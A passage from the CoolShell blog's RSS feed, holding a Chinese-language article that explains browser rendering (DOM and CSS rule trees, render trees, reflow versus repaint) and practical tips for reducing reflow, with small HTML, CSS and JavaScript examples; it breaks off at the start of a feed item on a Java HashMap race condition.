<img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-150x150.jpg\" alt=\"疫苗：Java HashMap的死循环\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_title\">疫苗：Java HashMap的死循环</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/9169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/Disruptor-150x150.png\" alt=\"并发框架Disruptor译文\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9169.html\" class=\"wp_rp_title\">并发框架Disruptor译文</a></li><li ><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9703.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>浏览器的渲染原理简介</title>\n\t\t<link>https://coolshell.cn/articles/9666.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9666.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 22 May 2013 00:17:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[DOM]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9666</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>看到这个标题大家一定会想到这篇神文《How Browsers Work》，这篇文章把浏览器的很多细节讲得很细，而且也被翻译成了中文。为什么我还想写一篇呢？因为两...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9666.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>看到这个标题大家一定会想到这篇神文《<a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">How Browsers Work</a>》，这篇文章把浏览器的很多细节讲得很细，而且也被<a href=\"http://ux.sohu.com/topics/50972d9ae7de3e752e0081ff\" target=\"_blank\">翻译成了中文</a>。为什么我还想写一篇呢？因为两个原因，</p>\n<p style=\"padding-left: 30px;\">1）这篇文章太长了，阅读成本太大，不能一口气读完。</p>\n<p style=\"padding-left: 30px;\">2）花了大力气读了这篇文章后可以了解很多，但似乎对工作没什么帮助。</p>\n<p>所以，我准备写下这篇文章来解决上述两个问题。希望你能在上班途中，或是坐马桶时就能读完，并能从中学会一些能用在工作上的东西。</p>\n<h4>浏览器工作大流程</h4>\n<p>废话少说，先来看个图：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9667\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg\" width=\"712\" height=\"231\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg 791w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-300x97.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-768x250.jpg 768w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-604x196.jpg 604w\" sizes=\"(max-width: 712px) 100vw, 712px\" /></p>\n<p style=\"text-align: left;\">从上面这个图中，我们可以看到那么几个事：</p>\n<p><span id=\"more-9666\"></span></p>\n<p style=\"text-align: left;\">1）浏览器会解析三个东西：</p>\n<ul>\n<li>一个是HTML/SVG/XHTML，事实上，Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。</li>\n</ul>\n<ul>\n<li>CSS，解析CSS会产生CSS规则树。</li>\n</ul>\n<ul>\n<li>Javascript，脚本，主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.</li>\n</ul>\n<p>2）解析完成后，浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意：</p>\n<ul>\n<li>Rendering Tree 渲染树并不等同于DOM树，因为一些像Header或display:none的东西就没必要放在渲染树中了。</li>\n</ul>\n<ul>\n<li>CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。</li>\n</ul>\n<ul>\n<li>然后，计算每个Frame（也就是每个Element）的位置，这又叫layout和reflow过程。</li>\n</ul>\n<p>3）最后通过调用操作系统Native GUI的API绘制。</p>\n<h4>DOM解析</h4>\n<p>HTML的DOM Tree解析如下：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;Web page parsing&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;div&gt;\n        &lt;h1&gt;Web page parsing&lt;/h1&gt;\n        &lt;p&gt;This is an example Web page.&lt;/p&gt;\n    &lt;/div&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</pre>\n<p>上面这段HTML会解析成这样：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9669\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg\" width=\"456\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg 651w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01-300x197.jpg 300w\" sizes=\"(max-width: 456px) 100vw, 456px\" /></p>\n<p>下面是另一个有SVG标签的情况。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9670\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg\" width=\"408\" height=\"320\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg 680w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02-300x235.jpg 300w\" sizes=\"(max-width: 408px) 100vw, 408px\" /></p>\n<h4>CSS解析</h4>\n<p>CSS的解析大概是下面这个样子（下面主要说的是Gecko也就是Firefox的玩法），假设我们有下面的HTML文档：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;doc&gt;\n&lt;title&gt;A few quotes&lt;/title&gt;\n&lt;para&gt;\n  Franklin said that &lt;quote&gt;&quot;A penny saved is a penny earned.&quot;&lt;/quote&gt;\n&lt;/para&gt;\n&lt;para&gt;\n  FDR said &lt;quote&gt;&quot;We have nothing to fear but &lt;span&gt;fear itself.&lt;/span&gt;&quot;&lt;/quote&gt;\n&lt;/para&gt;\n&lt;/doc&gt;\n</pre>\n<p>于是DOM Tree是这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9672\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg\" width=\"368\" height=\"318\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg 368w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example-300x259.jpg 300w\" sizes=\"(max-width: 368px) 100vw, 368px\" /></p>\n<p>然后我们的CSS文档是这样的：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">  /* rule 1 */ doc { display: block; text-indent: 1em; }\n/* rule 2 */ title { display: block; font-size: 3em; }\n/* rule 3 */ para { display: block; }\n/* rule 4 */ [class=&quot;emph&quot;] { font-style: italic; }</pre>\n<p>于是我们的CSS Rule Tree会是这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9673\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg\" width=\"397\" height=\"238\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg 397w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example-300x179.jpg 300w\" sizes=\"(max-width: 397px) 100vw, 397px\" /></p>\n<p>注意，图中的第4条规则出现了两次，一次是独立的，一次是在规则3的子结点。所以，我们可以知道，建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector，好多人以为这个事会比较快，其实并不一定。关键还看我们的CSS的Selector怎么写了。</p>\n<p><strong>注意：CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以，你就会在N多地方看到很多人都告诉你，DOM树要小，CSS尽量用id和class，千万不要过渡层叠下去，……</strong></p>\n<p>通过这两个树，我们可以得到一个叫Style Context Tree，也就是下面这样（把CSS Rule结点Attach到DOM Tree上）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9674\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg\" width=\"405\" height=\"318\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg 405w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example-300x235.jpg 300w\" sizes=\"(max-width: 405px) 100vw, 405px\" /></p>\n<p>所以，Firefox基本上来说是通过CSS 解析 生成 CSS Rule Tree，然后，通过比对DOM生成Style Context Tree，然后Firefox通过把Style Context Tree和其Render Tree（Frame Tree）关联上，就完成了。注意：Render Tree会把一些不可见的结点去除掉。而<strong>Firefox中所谓的Frame就是一个DOM结点，不要被其名字所迷惑了</strong>。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9677\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png\" width=\"328\" height=\"366\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png 364w, https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree-268x300.png 268w\" sizes=\"(max-width: 328px) 100vw, 328px\" /></p>\n<p>注：Webkit不像Firefox要用两个树来干这个，Webkit也有Style对象，它直接把这个Style对象存在了相应的DOM结点上了。</p>\n<h4>渲染</h4>\n<p>渲染的流程基本上如下（黄色的四个步骤）：</p>\n<ol>\n<li>计算CSS样式</li>\n<li>构建Render Tree</li>\n<li>Layout &#8211; 定位坐标和大小，是否换行，各种position, overflow, z-index属性 ……</li>\n<li>正式开画</li>\n</ol>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9675\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg\" width=\"712\" height=\"196\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg 1318w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-300x82.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-1024x282.jpg 1024w\" sizes=\"(max-width: 712px) 100vw, 712px\" /></p>\n<p style=\"text-align: left;\">注意：上图流程中有很多连接线，这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout，有些改变不会，就是那些指到天上的箭头，比如，修改后的CSS rule没有被匹配到，等。</p>\n<p style=\"text-align: left;\">这里重要要说两个概念，一个是Reflow，另一个是Repaint。这两个不是一回事。</p>\n<ul>\n<li>Repaint——屏幕的一部分要重画，比如某个CSS的背景色变了。但是元素的几何尺寸没有变。</li>\n</ul>\n<ul>\n<li>Reflow——意味着元件的几何尺寸变了，我们需要重新验证并计算Render Tree。是Render Tree的一部分或全部发生了变化。这就是Reflow，或是Layout。（<strong>HTML使用的是flow based layout，也就是流式布局，所以，如果某元件的几何尺寸发生了变化，需要重新布局，也就叫reflow</strong>）reflow 会从&lt;html&gt;这个root frame开始递归往下，依次计算所有的结点几何尺寸和位置，在reflow过程中，可能会增加一些frame，比如一个文本字符串必需被包装起来。</li>\n</ul>\n<p>下面是一个打开Wikipedia时的Layout/reflow的视频（注：HTML在初始化的时候也会做一次reflow，叫 <dfn>intial reflow</dfn>），你可以感受一下：</p>\n<p><center><object width=\"480\" height=\"400\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\" align=\"middle\"><param name=\"src\" value=\"http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf\" /><param name=\"allowfullscreen\" value=\"true\" /><param name=\"quality\" value=\"high\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed width=\"480\" height=\"400\" type=\"application/x-shockwave-flash\" src=\"http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf\" allowfullscreen=\"true\" quality=\"high\" allowscriptaccess=\"always\" align=\"middle\" /></object></center>Reflow的成本比Repaint的成本高得多的多。DOM Tree里的每个结点都会有reflow方法，一个结点的reflow很有可能导致子结点，甚至父点以及同级结点的reflow。<strong>在一些高性能的电脑上也许还没什么，但是如果reflow发生在手机上，那么这个过程是非常痛苦和耗电的</strong>。</p>\n<p>所以，下面这些动作有很大可能会是成本比较高的。</p>\n<ul>\n<li>当你增加、删除、修改DOM结点时，会导致Reflow或Repaint</li>\n<li>当你移动DOM的位置，或是搞个动画的时候。</li>\n<li>当你修改CSS样式的时候。</li>\n<li>当你Resize窗口的时候（移动端没有这个问题），或是滚动的时候。</li>\n<li>当你修改网页的默认字体时。</li>\n</ul>\n<p style=\"text-align: left;\">注：display:none会触发reflow，而visibility:hidden只会触发repaint，因为没有发现位置变化。</p>\n<p style=\"text-align: left;\">多说两句关于滚屏的事，通常来说，如果在滚屏的时候，我们的页面上的所有的像素都会跟着滚动，那么性能上没什么问题，因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图，或是有些Element不跟着滚动，有些Elment是动画，那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。</p>\n<p style=\"text-align: left;\">基本上来说，reflow有如下的几个原因：</p>\n<ul>\n<li>Initial。网页初始化的时候。</li>\n<li>Incremental。一些Javascript在操作DOM Tree时。</li>\n<li>Resize。其些元件的尺寸变了。</li>\n<li>StyleChange。如果CSS的属性发生变化了。</li>\n<li>Dirty。几个Incremental的reflow发生在同一个frame的子树上。</li>\n</ul>\n<p style=\"text-align: left;\">好了，我们来看一个示例吧：</p>\n<p>[javascript]var bstyle = document.body.style; // cache</p>\n<p>bstyle.padding = &quot;20px&quot;; // reflow, repaint<br />\nbstyle.border = &quot;10px solid red&quot;; //  再一次的 reflow 和 repaint</p>\n<p>bstyle.color = &quot;blue&quot;; // repaint<br />\nbstyle.backgroundColor = &quot;#fad&quot;; // repaint</p>\n<p>bstyle.fontSize = &quot;2em&quot;; // reflow, repaint</p>\n<p>// new DOM element &#8211; reflow, repaint<br />\ndocument.body.appendChild(document.createTextNode(&#8216;dude!&#8217;));[/javascript]</p>\n<p style=\"text-align: left;\">当然，我们的浏览器是聪明的，它不会像上面那样，你每改一次样式，它就reflow或repaint一次。<strong>一般来说，浏览器会把这样的操作积攒一批，然后做一次reflow，这又叫异步reflow或增量异步reflow</strong>。但是有些情况浏览器是不会这么做的，比如：resize窗口，改变了页面默认的字体，等。对于这些操作，浏览器会马上进行reflow。</p>\n<p style=\"text-align: left;\">但是有些时候，我们的脚本会阻止浏览器这么干，比如：如果我们请求下面的一些DOM值：</p>\n<ol>\n<li>offsetTop, offsetLeft, offsetWidth, offsetHeight</li>\n<li>scrollTop/Left/Width/Height</li>\n<li>clientTop/Left/Width/Height</li>\n<li>IE中的 getComputedStyle(), 或 currentStyle</li>\n</ol>\n<p style=\"text-align: left;\">因为，如果我们的程序需要这些值，那么浏览器需要返回最新的值，而这样一样会flush出去一些样式的改变，从而造成频繁的reflow/repaint。</p>\n<h4 style=\"text-align: left;\">减少reflow/repaint</h4>\n<p>下面是一些Best Practices：</p>\n<p><strong>1）不要一条一条地修改DOM的样式。与其这样，还不如预先定义好css的class，然后修改DOM的className。</strong></p>\n<p>[javascript]// bad<br />\nvar left = 10,<br />\ntop = 10;<br />\nel.style.left = left + &quot;px&quot;;<br />\nel.style.top  = top  + &quot;px&quot;;</p>\n<p>// Good<br />\nel.className += &quot; theclassname&quot;;</p>\n<p>// Good<br />\nel.style.cssText += &quot;; left: &quot; + left + &quot;px; top: &quot; + top + &quot;px;&quot;;[/javascript]</p>\n<p><strong>2）把DOM离线后修改。如：</strong></p>\n<ul>\n<li>使用documentFragment 对象在内存里操作DOM</li>\n<li>先把DOM给display:none(有一次reflow)，然后你想怎么改就怎么改。比如修改100次，然后再把他显示出来。</li>\n<li>clone一个DOM结点到内存里，然后想怎么改就怎么改，改完后，和在线的那个的交换一下。</li>\n</ul>\n<p>3）<strong>不要把DOM结点的属性值放在一个循环里当成循环里的变量。</strong>不然这会导致大量地读写这个结点的属性。</p>\n<p>4）<strong>尽可能的修改层级比较低的DOM</strong>。当然，改变层级比较底的DOM有可能会造成大面积的reflow，但是也可能影响范围很小。</p>\n<p>5）<strong>为动画的HTML元件使用fixed或absoult的position</strong>，那么修改他们的CSS是不会reflow的。</p>\n<p>6）<strong>千万不要使用table布局</strong>。因为可能很小的一个小改动会造成整个table的重新布局。</p>\n<blockquote><p>In this manner, the user agent can begin to lay out the table once the entire first row has been received. Cells in subsequent rows do not affect column widths. Any cell that has content that overflows uses the ‘overflow’ property to determine whether to clip the overflow content.</p>\n<p><cite><a href=\"http://www.w3.org/TR/CSS21/tables.html#fixed-table-layout\">Fixed layout, CSS 2.1 Specification</a></cite></p></blockquote>\n<blockquote><p>This algorithm may be inefficient since it requires the user agent to have access to all the content in the table before determining the final layout and may demand more than one pass.</p>\n<p><cite><a href=\"http://www.w3.org/TR/CSS21/tables.html#auto-table-layout\">Automatic layout, CSS 2.1 Specification</a></cite></p></blockquote>\n<h4>几个工具和几篇文章</h4>\n<p>有时候，你会也许会发现在IE下，你不知道你修改了什么东西，结果CPU一下子就上去了到100%，然后过了好几秒钟repaint/reflow才完成，这种事情以IE的年代时经常发生。所以，我们需要一些工具帮我们看看我们的代码里有没有什么不合适的东西。</p>\n<ul>\n<li>Chrome下，Google的<a href=\"http://code.google.com/webtoolkit/speedtracer/\">SpeedTracer</a>是个非常强悍的工作让你看看你的浏览渲染的成本有多大。其实Safari和Chrome都可以使用开发者工具里的一个Timeline的东东。</li>\n</ul>\n<ul>\n<li>Firefox下这个基于Firebug的叫<a href=\"https://addons.mozilla.org/en-US/firefox/addon/firebug-paint-events/\" target=\"_blank\">Firebug Paint Events</a>的插件也不错。</li>\n</ul>\n<ul>\n<li>IE下你可以用一个叫<a href=\"http://ajax.dynatrace.com/pages/\">dynaTrace</a>的IE扩展。</li>\n</ul>\n<p>最后，别忘了下面这几篇提高浏览器性能的文章：</p>\n<ul>\n<li><a href=\"http://code.google.com/speed/page-speed/docs/rules_intro.html\">Google &#8211; Web Performance Best Practices</a></li>\n<li><a href=\"http://developer.yahoo.com/performance/rules.html\">Yahoo &#8211; Best Practices for Speeding Up Your Web Site</a></li>\n<li><a href=\"http://stevesouders.com/hpws/rules.php\">Steve Souders &#8211; 14 Rules for Faster-Loading Web Sites</a></li>\n</ul>\n<h4>参考</h4>\n<ul>\n<li>David Baron的演讲：Fast CSS: How Browsers Lay Out Web Pages：<a href=\"http://dbaron.org/talks/2012-03-11-sxsw/slide-1.xhtml\" target=\"_blank\">slideshow</a>, <a href=\"http://dbaron.org/talks/2012-03-11-sxsw/master.xhtml\">all slides</a>, <a href=\"http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3\">audio (MP3)</a>, <a href=\"http://schedule.sxsw.com/2012/events/event_IAP12909\">Session page</a>, <a href=\"http://lanyrd.com/2012/sxsw-interactive/spmbt/\">Lanyrd page</a></li>\n</ul>\n<ul>\n<li>How Browsers Work: <a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">http://taligarsiel.com/Projects/howbrowserswork1.htm</a></li>\n</ul>\n<ul>\n<li>Mozilla 的 Style System Overview：<a href=\"https://developer.mozilla.org/en-US/docs/Style_System_Overview\" target=\"_blank\">https://developer.mozilla.org/en-US/docs/Style_System_Overview</a></li>\n</ul>\n<ul>\n<li>Mozilla 的 Note of reflow： <a href=\"http://www-archive.mozilla.org/newlayout/doc/reflow.html\" target=\"_blank\">http://www-archive.mozilla.org/newlayout/doc/reflow.html</a></li>\n</ul>\n<ul>\n<li>Rendering: repaint, reflow/relayout, restyle：<a href=\"http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/\" target=\"_blank\">http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/</a></li>\n</ul>\n<ul>\n<li>Effective Rendering CSS：<a href=\"http://css-tricks.com/efficiently-rendering-css/\" target=\"_blank\">http://css-tricks.com/efficiently-rendering-css/</a></li>\n</ul>\n<ul>\n<li><strong></strong>Webkit Rendering文档：<a href=\"http://trac.webkit.org/wiki/WebCoreRendering\" target=\"_blank\">http://trac.webkit.org/wiki/WebCoreRendering</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9666.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>155</slash:comments>\n\t\t\n\t\t<enclosure url=\"http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3\" length=\"20902392\" type=\"audio/mpeg\" />\n\n\t\t\t</item>\n\t\t<item>\n\t\t<title>疫苗：Java HashMap的死循环</title>\n\t\t<link>https://coolshell.cn/articles/9606.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9606.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 10 May 2013 00:12:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Hash]]></category>\n\t\t<category><![CDATA[HashMap]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[多线程]]></category>\n\t\t<category><![CDATA[并发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9606</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在淘宝内网里看到同事发了贴说了一个CPU被100%的线上故障，并且这个事发生了很多次，原因是在Java语言在并发情况下使用HashMap造成Race Condi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9606.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-9618 alignright\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-300x190.jpg\" width=\"300\" height=\"190\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-300x190.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/race_condition-426x270.jpg 426w, https://coolshell.cn/wp-content/uploads/2013/05/race_condition.jpg 549w\" sizes=\"(max-width: 300px) 100vw, 300px\" 